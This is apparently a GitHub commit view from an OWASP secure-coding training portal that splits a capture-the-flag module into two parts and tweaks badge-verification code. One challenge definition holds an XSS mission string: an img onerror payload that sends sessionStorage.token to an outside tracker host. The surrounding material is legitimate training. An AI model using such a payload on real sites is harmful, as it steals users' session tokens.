Skip to content

Commit a46636c

Browse files
authored
Merge pull request #163 from OWASP/split-second-degree
Split second degree
2 parents d342a4b + fdfca3f commit a46636c

File tree

16 files changed

+105
-97
lines changed

16 files changed

+105
-97
lines changed

trainingportal/auth.js

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -281,10 +281,11 @@ let processAuthCallback = async(profileId, givenName, familyName, email, cb) =>
281281
user.email = email;
282282
let modules = challenges.getModules();
283283
for(let moduleId in modules){
284-
let promise = challenges.verifyModuleCompletion(user, moduleId);
285-
promise.catch((err) => {
284+
try {
285+
await challenges.verifyModuleCompletion(user, moduleId);
286+
} catch (error) {
286287
util.log("Error with badge verification.", user);
287-
});
288+
}
288289
}
289290
}
290291
else{

trainingportal/static/challenges.html

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,7 @@ <h4>Play Link and Instructions</h4>
7272
<br/><br/>
7373
</span>
7474
<p ng-if="!challenge.playLink">
75-
The play link has been provided to you when solving the previous challenge.
75+
The play link has been provided to you when solving the previous module or challenge.
7676
If you have missed it read the challenge description carefully and try to figure out what it is.
7777
</p>
7878
<span ng-if="!challenge.passed">

trainingportal/static/lessons/blackBelt/definitions.json

Lines changed: 0 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -129,15 +129,6 @@
129129
"solution":"cwe134.sol.md",
130130
"codeBlockIds":["safeMemoryManagement","inputAllowListing"]
131131
},
132-
{
133-
"id":"cwe502",
134-
"name":"Deserialization of Untrusted Data",
135-
"playLink":"/cwe502.jsp",
136-
"description": "cwe502.html",
137-
"attackGram":"deserialization.png",
138-
"solution":"cwe502.sol.md",
139-
"codeBlockIds":["enforceSafeDeserialization"]
140-
},
141132
{
142133
"id":"quiz",
143134
"name":"Quiz",

trainingportal/static/lessons/modules.json

Lines changed: 16 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@
3030
"name":"Black Belt",
3131
"summary":"Common software security flaws - part 2",
3232
"description":"Lessons are entry level difficulty aimed at introducing the concepts of vulnerability, exploit and software defense.",
33-
"description2":"Includes 14 lessons. Estimated duration 2 hours.",
33+
"description2":"Includes 13 lessons. Estimated duration 2 hours.",
3434
"badgeInfo":{
3535
"line1":"Secure Coding",
3636
"line2":"Black Belt",
@@ -39,18 +39,30 @@
3939
},
4040
"requiredModules":["greenBelt"]
4141
},
42-
"secondDegreeBlackBelt":{
43-
"name":"Second Degree Black Belt",
42+
"secondDegreeBlackBelt1":{
43+
"name":"Second Degree Black Belt - Part 1",
4444
"summary":"Cloud software exploitation techniques",
4545
"description":"Have some fun with this Capture the Flag module which is based on OWASP Top 10. Your goal is to take down the cloud applications used in a worldwide malware campaign.",
4646
"badgeInfo":{
4747
"line1":"Secure Coding",
4848
"line2":"2nd Degree",
4949
"line3":"Black Belt",
50-
"bg":"darkred"
50+
"bg":"red"
5151
},
5252
"requiredModules":["blackBelt"]
5353
},
54+
"secondDegreeBlackBelt2":{
55+
"name":"Second Degree Black Belt - Part 2",
56+
"summary":"Cloud software exploitation techniques",
57+
"description":"Have some fun with this Capture the Flag module which is based on OWASP Top 10. Your goal is to take down the cloud applications used in a worldwide malware campaign.",
58+
"badgeInfo":{
59+
"line1":"Secure Coding",
60+
"line2":"2nd Degree",
61+
"line3":"Black Belt",
62+
"bg":"darkred"
63+
},
64+
"requiredModules":["secondDegreeBlackBelt1"]
65+
},
5466
"redTeam":{
5567
"name":"Red Team",
5668
"summary":"Pen-testing tools and techniques",

trainingportal/static/lessons/secondDegreeBlackBelt/definitions.json

Lines changed: 0 additions & 74 deletions
This file was deleted.
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
[
2+
{
3+
"level":0,
4+
"name":"Second Degree Black Belt - Part 1",
5+
"challenges":[
6+
{
7+
"id":"owasp2017misconfig",
8+
"name":"Security Misconfiguration",
9+
"playLink":"",
10+
"description": "owasp2017misconfig.html",
11+
"codeBlockIds":["enforceSafeConfig"],
12+
"mission": "Find the secret file."
13+
},
14+
{
15+
"id":"owasp2017sensitive",
16+
"name":"Sensitive Data Exposure",
17+
"description": "owasp2017sensitive.html",
18+
"attackGram":"missingenc.png",
19+
"codeBlockIds":["useStrongDataEncryption"],
20+
"mission": "Login as the test user."
21+
},
22+
{
23+
"id":"owasp2017brokenauth",
24+
"name":"Broken Authentication & Broken Access Control",
25+
"description": "owasp2017brokenauth.html",
26+
"attackGram":"missingauthz.png",
27+
"codeBlockIds":["loginBestPractices","principleOfLeastPrivilege","serverSideValidation"],
28+
"mission": "View the chat messages."
29+
},
30+
{
31+
"id":"owasp2017xss",
32+
"name":"Cross-Site Scripting",
33+
"description": "owasp2017xss.html",
34+
"attackGram":"xss.png",
35+
"codeBlockIds":["neutralizeOutput","inputAllowListing","requestForgeryPrevention"],
36+
"mission":"Alter the html code of the page by inserting the following tag: <img src=bla onerror=\"fetch('https://xss.tracker?token='+sessionStorage.token)\">"
37+
}
38+
]
39+
}
40+
]

trainingportal/static/lessons/secondDegreeBlackBelt/owasp2017brokenauth.html renamed to trainingportal/static/lessons/secondDegreeBlackBelt1/owasp2017brokenauth.html

File renamed without changes.

trainingportal/static/lessons/secondDegreeBlackBelt/owasp2017misconfig.html renamed to trainingportal/static/lessons/secondDegreeBlackBelt1/owasp2017misconfig.html

File renamed without changes.

trainingportal/static/lessons/secondDegreeBlackBelt/owasp2017sensitive.html renamed to trainingportal/static/lessons/secondDegreeBlackBelt1/owasp2017sensitive.html

File renamed without changes.

trainingportal/static/lessons/secondDegreeBlackBelt/owasp2017xss.html renamed to trainingportal/static/lessons/secondDegreeBlackBelt1/owasp2017xss.html

File renamed without changes.

0 commit comments

Comments
 (0)